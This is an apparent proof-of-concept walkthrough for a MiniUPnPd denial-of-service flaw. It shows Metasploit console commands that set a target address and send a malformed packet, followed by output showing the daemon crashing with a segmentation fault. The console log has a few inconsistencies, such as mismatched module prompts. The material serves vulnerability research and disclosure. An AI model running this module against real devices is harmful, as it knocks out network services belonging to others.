Added CVE-2013-0229 for MiniUPnPd < 1.4

MiniUPnPd DoS PoC


We could describe the same steps to run the MiniUPnPd daemon and make it to listen to incoming connections, but we already did this in the previous PoC. This is why, we'll only provide the settings we need to cause DoS on the remote device. We should start the MiniUPnPd daemon the same way as before:

> miniupnpd -f miniupnpd.conf -d
Reading configuration from file miniupnpd.conf
miniupnpd[24934]: HTTP listening on port 8080
miniupnpd[24934]: HTTP connection from 192.168.1.3:15955
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)
miniupnpd[24934]: HTTP connection from 192.168.1.4:56240
miniupnpd[24934]: HTTP REQUEST : GET /rootDesc.xml (HTTP/1.1)


In the DoS exploit, the following options are available:

> msf > use exploit/multi/upnp/miniupnpd_dos
msf  auxiliary(upnp2) > show options
msf auxiliary(miniupnpd_dos) > show options
Module options (auxiliary/multi/upnp/miniupnpd_dos):
>
>   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  1900             yes       The target port

>msf auxiliary(miniupnpd_dos) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf auxiliary(miniupnpd_dos) > exploit
>
>[*] Sending malformed packet to 192.168.1.2...
[*] The target should be unresponsive now...
[*] Auxiliary module execution completed

When sending the exploit to the target, the exploit will cause the MiniUPnPd daemon to terminate as seen below:

>Segmentation fault (core dumped)

We can see that we've successfully cause the denial of service of the MiniUPnPd deamon.